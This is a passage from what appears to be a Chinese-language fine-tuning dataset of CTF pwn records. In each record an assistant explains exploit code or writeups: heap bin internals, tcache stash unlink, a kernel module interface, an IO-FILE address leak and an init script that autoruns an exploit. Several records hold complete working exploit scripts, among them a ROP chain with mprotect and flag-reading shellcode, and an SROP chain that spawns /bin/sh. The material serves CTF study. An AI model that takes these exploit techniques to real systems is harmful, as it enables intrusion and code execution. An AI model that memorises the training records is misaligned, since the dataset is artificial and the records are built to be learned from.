/sys\nmount -t tmpfs tmpfs /tmp\nmkdir /dev/pts\nmount -t devpts devpts /dev/pts\ncat /banner\nif [ ! -e \"/dev/sdb\" ];then\n    echo \"[!] No flag provided, running in testing environment?\"\nelse\n    dd if=/dev/sdb of=/flag bs=1M iflag=direct oflag=direct 1>/dev/null 2>/dev/null\n    echo 1 > /sys/block/sdb/device/delete\n    echo 3 > /proc/sys/vm/drop_caches\nfi\nchown root:root /flag\nchmod 0400 /flag\ninsmod /root/d3kheap2pro.ko\necho -e \"\\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\\n\"\nprintf \"\\n=== AUTORUN EXP as ctf ===\\n\"\nsu ctf -c /home/ctf/exp\nprintf \"=== AUTORUN DONE ===\\n\"\npoweroff -d 0 -f\nEOI\nchmod 755 /tmp/rcS.d3k\n: > /tmp/d3k-autorun-debugfs.log\ndebugfs -w -R \"rm /home/ctf/exp\" \"$out\" >>/tmp/d3k-autorun-debugfs.log 2>&1 || true\ndebugfs -w -R \"write exp /home/ctf/exp\" \"$out\" >>/tmp/d3k-autorun-debugfs.log 2>&1\ndebugfs -w -R \"set_inode_field /home/ctf/exp mode 0100777\" \"$out\" >>/tmp/d3k-autorun-debugfs.log 2>&1 || true\ndebugfs -w -R \"rm /etc/init.d/rcS\" \"$out\" >>/tmp/d3k-autorun-debugfs.log 2>&1 || true\ndebugfs -w -R \"write /tmp/rcS.d3k /etc/init.d/rcS\" \"$out\" >>/tmp/d3k-autorun-debugfs.log 2>&1\ndebugfs -w -R \"set_inode_field /etc/init.d/rcS mode 0100777\" \"$out\" >>/tmp/d3k-autorun-debugfs.log 2>&1 || true\ncat /tmp/d3k-autorun-debugfs.log\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-a21f4309d2b19f4a", "original_line": 290, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/make_autorun_image.sh", "split": "train", "split_group_key": "7be572f793437e9b4e68bfab"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/make_autorun_image.sh", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e28bb1868c1e8f3c428f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/花式栈/2025hgame ezstack/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/花式栈/2025hgame ezstack/exp.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x1b0`, `0x200`, `0x300`, `0x2000`, `0x401194`, `0x401204`, `0x401376`, `0x4013D5`, `0x40140F`, `0x404000`, `0x404788`, `0x67616c662f`, `0x000000000002601f`, `0x0000000000119431`, `0x000000000040135d`\n\n训练用代码片段：\n```python\nfrom pwn import *\n\nelf = ELF(\"./vuln\")\np = process([elf.path])\nlibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\nsa = lambda x,y:p.sendafter(x,y)\nsla = lambda x,y:p.sendlineafter(x,y)\nia = lambda: io.interactive()\nuu32 = lambda : u32(p.recvuntil(b'\\xff')[-4:].ljust(4,b'\\x00'))\nuu64 = lambda : u64(p.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))\nuu64_h= lambda : u64(p.recvuntil(('\\x55','\\x56'))[-6:].ljust(8,'\\x00'))\nru = lambda x :p.recvuntil(x)\nrc = lambda x :p.recv(x)\nsd = lambda x:p.send(x)\nsl = lambda x:p.sendline(x)\nlg = lambda s : log.info('\\x1b[01;38;5;214m %s --> 0x%x \\033[0m' % (s, eval(s)))\n\npop_rbp=0x000000000040135d #: pop rbp ; ret\npop_rdi=0x0000000000401713 #: pop rdi ; ret\npop_rsi_r15=0x0000000000401711 #: pop rsi ; pop r15 ; ret\nleave_ret=0x00000000004013cb #: leave ; ret\n\nread=0x4013D5\nprint_libc=0x401376\nbss=elf.bss(0x300)\nlg('bss')\nwrite_got=elf.got['write']\npay=b'\\x00'*0x50+p64(bss+0x50)+p64(read)\nsa(b'luck.\\n',pay)\npay=p64(pop_rsi_r15)+p64(write_got)*2+p64(0x401194)+p64(pop_rbp)+p64(bss+0x200)+p64(read)\npay=pay.ljust(0x50,b'\\x00')+p64(bss-0x8)+p64(leave_ret)\nsa(b'luck.\\n',pay)\nlibc.address=uu64()-libc.sym['write']\nlg('libc.address')\npop_rdx_r12=0x0000000000119431 +libc.address#: pop rdx ; pop r12 ; ret\nmprotect=libc.sym['mprotect']\npop_rsi=0x000000000002601f+libc.address #: pop rsi ; ret\ndata_addr=0x404000\nread_plt=0x401204\npay=p64(pop_rsi)+p64(bss+0x300)+p64(pop_rdx_r12)+p64(0x200)*2+p64(read_plt)+p64(pop_rbp)+p64(bss+0x300-0x8)+p64(leave_ret)\npay=pay.ljust(0x50,b'\\x00')+p64(bss+0x1b0-0x8)+p64(leave_ret)\nsa(b'luck.',pay)\nshellcode = asm('''\n    mov r15,rdi\n    mov rax, 0x67616c662f\n    push rax\n    xor rdi, rdi\n    sub rdi, 100\n    mov rsi, rsp\n    push 0\n    push 0\n    push 0\n    mov rdx, rsp\n    mov r10, 0x18\n    push SYS_openat2\n    pop rax\n    syscall\n    mov rdi,rax\n    mov rsi,rsp\n    mov edx,0x100\n    xor eax,eax\n    syscall\n    mov rdi,r15\n    mov rsi,rsp\n    push 1\n    pop rax\n    syscall\n    ''')\n# pay=pay.ljust(0x50,b'\\x00')+p64(bss+0x1b0-0x8)+p64(leave_ret)\npay=p64(pop_rdi)+p64(data_addr)+p64(pop_rsi)+p64(0x2000)\npay+=p64(pop_rdx_r12)+p64(7)*2+p64(mprotect)+p64(pop_rbp)+p64(bss+0x200)+p64(0x40140F)+shellcode\nsd(pay)\nsd(p64(0x404788))\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-714861edceeecd5a", "original_line": 576, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/花式栈/2025hgame ezstack/exp.py", "split": "train", "split_group_key": "b9c8d18d5e7556392c8f544f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/花式栈/2025hgame ezstack/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e2eef63457f7e7ef314e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「地址泄露」。\n资料来源：IO-FILE/2025hgame hit list/WP.md；主题：2025 HGame - Hit list Writeup；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 地址泄露\n\nexp 的第一阶段先申请 8 个小块：\n\n```python\nfor i in range(8):\n    add(i, b'zena', 0x20, (str(i) * 0x10).encode())\n```\n\n随后按以下顺序删除：\n\n```python\nfor idx in [0, 0, 1, 2, 1, 0]:\n    delete(idx)\n```\n\n因为链表删除会调整 index，实际删除的是不断变化后的节点，目的是整理 `0x30/0x50/0x80` 等大小的 tcache/unsorted 状态。\n\n接着重新申请：\n\n```python\nadd(2, b'M1a0', 0x3F0, b'0')\nadd(3, b'M1ao0', 0x48, b'0')\nadd(4, b'M1aoo0', 0x78, b'0' * 0x58)\n```\n\n`show(3)` 从残留 metadata 中泄露 libc 地址：\n\n```python\nlibc_line = show(3)\nlibc_leak = u64(libc_line[-6:].ljust(8, b'\\x00'))\nlibc.address = libc_leak - 0x21AD30\n```\n\n`show(4)` 泄露 safe-linking 的 heap key：\n\n```python\nheap_line = show(4)\nheap_key = u64(heap_line[-5:].ljust(8, b'\\x00'))\nheap_base = heap_key << 12\n```\n\nglibc 2.35 tcache safe-linking 编码为：\n\n```text\nencoded_fd = real_fd ^ (chunk_addr >> 12)\n```\n\n泄露 `heap_key = heap_base >> 12` 后即可伪造 tcache fd。\n\n---", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-763e303731060cb7", "original_line": 168, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "split_group_key": "510c80802c5c6c353196ef42"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/2025hgame hit list/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e32dbbf620a912b24267", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「模块接口」。\n资料来源：Kernel/2026d3ctf-d3kheap2pro/README.md；主题：2026d3ctf-d3kheap2pro；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 模块接口\n\n模块创建了 `/proc/d3kheap2pro`：\n\n```c\nproc_create(\"d3kheap2pro\", 0666, NULL, &d3kheap2pro_ops);\n```\n\n`open/read/write/release` 基本没有可用逻辑，核心入口是 `ioctl`。\n\n用户传入结构只有 8 字节：\n\n```c\nstruct d3kheap2pro_ureq {\n    size_t idx;\n};\n```\n\n模块维护 512 个 slot，逻辑结构近似为：\n\n```c\nstruct d3kheap2pro_slot {\n    void *ptr;\n    int refcnt;\n    int padding;\n};\n\nstruct d3kheap2pro_slot slots[512];\n```\n\n模块初始化时创建了一个自定义 cache：\n\n```c\ncachep = kmem_cache_create(\"d3kheap2pro_cache\", 0x800, 0, 0x2100, NULL);\n```\n\n即每个对象大小为 `0x800` / 2048 字节。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-de99054d7cbb4980", "original_line": 37, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/README.md", "split": "train", "split_group_key": "4f24a40cea540ed9b113d0aa"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2026d3ctf-d3kheap2pro/README.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e379f90180637c035878", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「2.1 初始化与信息泄露」。\n资料来源：IO-FILE/house of apple2/2024ylb futureheap/WP.md；主题：2024ylb futureheap WP；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 2.1 初始化与信息泄露\n\n程序初始化时会先申请一页 RWX mmap：\n\n```c\nfortune = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,\n               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\n```\n\n随后读入名字：\n\n```c\nchar buf[0x20];\nscanf(\"%16s\", buf);\nstrcpy(name, buf);\n```\n\n相关全局变量位置：\n\n```text\nfortune = 0x4080\nwheel   = 0x40a0\nname    = 0x40d0\nseed    = 0x40d8\n```\n\n`name` 只有 8 字节，`seed` 紧跟在 `name` 后面。输入 16 个 `a` 后，`seed` 被覆盖为 `0x61616161`，于是 `srand(seed)` 的随机数序列可预测。\n\n初始化中泄露提示的逻辑为：\n\n```c\nsrand(seed);\nwolf  = rand();\nsword = rand();\ntmp0  = rand();\nlion  = setvbuf_got ^ tmp0 ^ wolf;\nsnake = fortune ^ rand() ^ sword;\n```\n\n所以：\n\n```python\nlibcbase = (lion ^ tmp0 ^ wolf) - libc.sym[\"setvbuf\"]\nfortune  = snake ^ tmp1 ^ sword\n```\n\n其中本题 libc 关键偏移：\n\n```text\nsetvbuf        = 0x815f0\nsystem         = 0x50d70\n_IO_list_all   = 0x21b680\n_IO_wfile_jumps= 0x2170c0\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-319a5ccfbce55aea", "original_line": 200, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "split_group_key": "8872b8a958dc5167d996bedd"}, "source_dataset": "pwn101_distilled_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap/WP.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e3b32ad65ea08385337e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「原理」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 原理\n\n从 small bin 中取出 chunk 时会对该 chunk 的 bk 指向的 chunk 的 fd 进行检查：\n\n```c\nidx = smallbin_index (nb);\nbin = bin_at (av, idx);\nif ((victim = last (bin)) != bin)\n  {\n    bck = victim->bk;\n    if (__glibc_unlikely (bck->fd != victim))\n      malloc_printerr (\"malloc(): smallbin double linked list corrupted\");\n    set_inuse_bit_at_offset (victim, nb);\n    bin->bk = bck;\n    bck->fd = bin;\n    ...\n```\n\n但是最后将 small bin 中剩余 chunk 放入 tcache 直到 tcache 填满的过程却不会进行检查。\n\n因此可以采用下面的方法进行攻击：\n\n- small bin 放两个 chunk 是为了绕过第一次从 small bin 取 chunk 时的检查。\n- tcache 放 5 个 chunk 并 calloc 申请内存既可以保证 两次 stash 将 fake chunk1 申请出来，同时确保 stash 次数不会过多造成访存错误。\n- tcache stash unlink 最终效果是任意地址 malloc 和任意地址写某个（些）值。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-658f4cfafba4a653", "original_line": 81, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e49ce97e7c0790cf5e37", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/target/TargetDb.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/target/TargetDb.h`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n\n训练用代码片段：\n```c\n/*\n * Copyright 2025 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#pragma once\n\n#include \n#include \n#include \n#include \n#include \n\nclass KxdbParser;\n/**\n * @defgroup target_classes Target Classes\n * @brief Classes for managing and representing targets.\n */\n\n/**\n * @ingroup target_classes\n * @class TargetDb\n * @brief Manages a database of kernel targets, including both static and dynamically parsed ones.\n */\nclass TargetDb {\n    std::unique_ptr parser_;\n\n    std::vector static_targets_;\n    std::map by_version_;\n    std::map by_distro_release_;\n\n    /**\n     * @brief Merges data from a source Target object into a destination Target object.\n     * @param dst The destination Target object to merge into.\n     * @param src The source Target object to merge from.\n     */\n    void MergeTargets(Target& dst, const Target& src);\n\n    /**\n     * @brief Retrieves a Target object, merging data from a KxdbParser target and a target if available.\n     * @param target_opt An optional Target object parsed from a KXDB file.\n     * @param static_idx An optional index of a target to merge.\n     * @return The merged Target object.\n     * @throws ExpKitError if both target_opt and static_idx are not provided.\n     */\n    Target GetTarget(std::optional target_opt,\n                     std::optional static_idx);\n\npublic:\n    // declare destructor\n    ~TargetDb();\n    TargetDb() = default;\n\n    /**\n     * @brief Constructs a TargetDb object.\n     * @param filename A database file to read from.\n     */\n    TargetDb(const std::string &filename);\n\n    /**\n     * @brief Constructs a TargetDb object from a byte buffer.\n     * @param data The buffer containing the KXDB file data.\n     */\n    TargetDb(const std::vector& data);\n\n    /**\n     * @brief Constructs a TargetDb object.\n     * @param filename A database file to read from if exists.\n     * @param fallback_kxdb The buffer containing the fallback / built-in KXDB file data if the file does not exists.\n     */\n    TargetDb(const std::string& filename, const std::vector& fallback_kxdb);\n\n    /**\n     * @brief Adds a target to the database.\n     * @param target The target to add.\n     */\n    void AddTarget(const Target& target);\n\n    /**\n     * @brief Retrieves a Target object by distro and release name.\n     * @param distro The distribution name.\n     * @param release_name The release name.\n     * @return The Target object.\n     */\n    Target GetTarget(const std::string& distro,\n                     const std::string& release_name);\n\n    /**\n     * @brief Retrieves a Target object by version.\n     * @param version The version string.\n     * @return The Target object.\n     */\n    Target GetTarget(const std::string& version);\n\n    /**\n     * @brief Automatically detects the target based on the system's kernel version.\n     * @return The detected Target object.\n     * @throws ExpKitError if the target cannot be detected.\n     */\n    Target AutoDetectTarget();\n};\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-79bb87917441762a", "original_line": 309, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/target/TargetDb.h", "split": "train", "split_group_key": "abee1b6b945f8d0ae728c26b"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/target/TargetDb.h", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e5736d3c806d44a16d15", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「bins」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### bins\n\n用户释放掉的`chunk`不会马上归还给系统，ptmalloc 会统一管理`heap`和`mmap`映射区域中的空闲的`chunk`。当用户再一次请求分配内存时，ptmalloc 分配器会试图在空闲的`chunk`中挑选一块合适的给用户。这也可以避免频繁的系统调用，降低内存分配的开销。\n\n在具体的实现中，ptmalloc 采用分箱式方法对空闲的`chunk`进行管理。首先，它会根据空闲的`chunk`的大小以及使用状态将`chunk`初步分为4类：`fast bins`，`small bins`，`large bins`，`unsorted bin`。对于 libc2.27 及以上版本还有`tcache`。\n\n**概述**\n\n对于`small bins`，`large bins`，`unsorted bin`来说，ptmalloc 将它们维护在一个`bins`数组中。这些`bin`对应的数据结构在`malloc_state`中，如下：\n\n```plain\n#define NBINS 128\n/* Normal bins packed as described above */\n  mchunkptr bins[NBINS * 2 - 2];\n```\n\n`bins`数组实际上可以看做是以`chunk`为单位，只不过采用空间复用策略，因为实际用到的只有`fd`和`bk`。\n\n```plain\n/* addressing -- note that bin_at(0) does not exist */\n#define bin_at(m, i) \\\n  (mbinptr) (((char *) &((m)->bins[((i) - 1) * 2]))                \\\n             - offsetof (struct malloc_chunk, fd))\n```\n\n\n\n由于是双链表结构`bins`数组每连续两个`chunk`指针维护一个`bin`（即`fd`和`bk`），其结构如下图所示（64位）。其中 `small bins`中`chunk`大小已给出。`large bins`的每个`bin`中的`chunk`大小在一个范围内。\n\n\n\n`lareg bin`的`chunk`范围如下：\n\n大于`0x400`的`chunk`就会放到`large bin`中。\n\n对于`fast bin`，在`malloc_state`又单独定义了一个`fastbinsY`的结构维护。\n\n```plain\ntypedef struct malloc_chunk *mfastbinptr;\n\n/*\n\t/* Fastbins */\n\tmfastbinptr fastbinY[ NFASBINS ];\n*/\n```\n\n由于`fast bin`为单链表结构，因此数组中第一个指针就可以维护一个`bin`。结构如图所示：\n\n[图片: image]\n\n**Fast Bin**\n\n为了避免大部分时间花在了合并、分割以及中间检查的过程中影响效率，因此 ptmalloc 中专门设计了`fast bin`。\n\n`fast bin`采用单链表形式，结构如下图所示：\n\n[图片: image]\n\n`fast bin`有如下性质：\n\n+ 由于采用单链表结构，`fast bin`采取 LIFO（后进先出）策略。\n+ 每个`fast bin`中维护的`chunk`大小确定，并且`fast bin`维护的最大的`chunk`为 128 字节（64位），因此不超过 0x80（chunk大小）的内存释放会进入`fast bin`。\n+ `fast bin`范围的`chunk`下一个相邻`chunk`的`PREV_INUSE`始终被置为1。因此它们不会和其它被释放的`chunk`合并。除非调用`malloc_consolidate`函数。\n\n安全检查：\n\n+ `size`：在`malloc()`函数分配`fastbin size`范围的`chunk`时，若是对应的`fastbin`中有空闲`chunk`，在取出前会检查其`size`域与对应下标是否一致，不会检查标志位，若否便会触发`abort`。\n+ `double free`： 在`free()`函数中会对`fast bin`链表的头结点进行检查，若将要被放入`fast bin`中的`chunk`与对应下标的链表的头结点为同一`chunk`，则会触发`abort`。\n+ Safe linking 机制（only glibc2.32 and up）：自 glibc 2.32 起引入了 safe-linking 机制，其核心思想是在链表上的`chunk`中并不直接存放其所连接的下一个`chunk`的地址，而是存放下一个`chunk`的地址与【`fd`指针自身地址右移 12 位】所异或得的值，使得攻击者在得知`chunk`的地址之前无法直接利用其构造任意地址写。\n\n```plain\n#define PROTECT_PTR(pos, ptr) \\\n  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))\n#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)\n```\n\n需要注意的是`fastbin`的入口节点存放的仍是未经异或的`chunk`地址。\n\n另外第一个加入`fast bin`的`chunk`的`fd`字段可以泄露堆地址（右移 12 位）。\n\n**Small Bin**\n\n`small bin`采用双向链表，结构如下图所示。\n\n\n\n`small bin`有如下性质：\n\n+ `small bins`中每个`bin`对应的链表采用 FIFO 的规则。\n+ 每个`small bin`维护的`chunk`大小确定，并且`small bin`维护的最大的`chunk`为1008字节（64位），即 0x3f0 的`chunk`大小。\n\n**Large Bin**\n\n`large bins`中一共包括64个`bin`，每个`bin`中的`chunk`的大小不一致，而是处于一定区间范围内。`large bin`的结构如下：\n\n\n\n关于`fd_nextsize`和`bk_nextsize`的机制，这里以`fd_nextsize`为例：\n\n+ `fd_nextsize`和`bk_nextsize`与`bins`数组没有连接关系（这就解释了为什么`bins`上没有体现`fd_nextsize`和`bk_nextsize`结构）。\n+ `large bin`里的`chunk`在`fd`指针指向的方向上按照`chunk`大小降序排序。\n+ 当`large bin`里有一个`chunk`时，`fd_nextsize`和`bk_nextsize`指向自己（如上面`large bin`的结构图所示）。\n+ 当`large bin`里同一个大小的`chunk`有多个时，只有相同大小`chunk`中的第一个的`fd_nextsize`和`bk_nextsize`指针有效，其余的`chunk`的`fd_nextsize`和`bk_nextsize`设为`NULL`。\n\n[图片: image]\n\n+ `large bin`中有多个不同大小的`chunk`时`fd_nextsize`连接比它小的第一个`chunk`，`bk_nextsize`就是把`fd_nextsize`反过来连到对应结构上。\n\n[图片: image]\n\n+ `large bin`最小的一组 `chunk` 中的第一个 `chunk` 的 `fd_nextsize` 连接的是最大的 `chunk`，最大的 `chunk` 的 `bk_nextsize` 相反。\n\n[图片: image]\n\n**Unsorted Bin**\n\n`unsorted bin`可以视为空闲`chunk`回归其所属`bin`之前的缓冲区。像`small bin`一样采用双向链表维护。`chunk`大小乱序。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-6dbc9364d0b7ce96", "original_line": 4, "original_split": "validation", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e5d8858564016b7e9cb8", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/srop/rootersctf_2019_srop/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/srop/rootersctf_2019_srop/exp.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `dbg`\n\n利用主题关键词：\n- stack/rop\n\n关键常量/偏移样例：\n`0x1000`, `0x0000000000401032`, `0x0000000000401033`, `0x0000000000402000`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('rootersctf_2019_srop')\nio = process([elf.path])\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\ncontext.terminal = ['cmd.exe', '/c', 'start', '\"\"', 'wt.exe', 'wsl', '-e', 'bash', '-lc']\n\nsyscall_ret=0x0000000000401033\npop_syscall=0x0000000000401032\nbuf=0x0000000000402000\n\n#fake stack\nsigFrame=SigreturnFrame()\nsigFrame.rax=0\nsigFrame.rdi=0\nsigFrame.rbp=buf+0x20\nsigFrame.rsi=buf\nsigFrame.rdx=0x1000\nsigFrame.rip=syscall_ret\n\nru('?')\npl=b'a'*0x88+p64(pop_syscall)+p64(15)+bytes(sigFrame)\nsl(pl)\n\nsigFrame=SigreturnFrame()\nsigFrame.rax=59\nsigFrame.rdi=buf\nsigFrame.rsi=0\nsigFrame.rdx=0\nsigFrame.rip=syscall_ret\n\npl2=b'/bin/sh\\00'\npl2=pl2.ljust(0x28,b'A')\npl2 += p64(pop_syscall)+p64(15)+bytes(sigFrame)\nsl(pl2)\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-ea206faafdbe103d", "original_line": 570, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/srop/rootersctf_2019_srop/exp.py", "split": "train", "split_group_key": "d7cfcf18972f264e1b118362"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/srop/rootersctf_2019_srop/exp.py", "split": "train", "type": "ctf_lora_sft"}
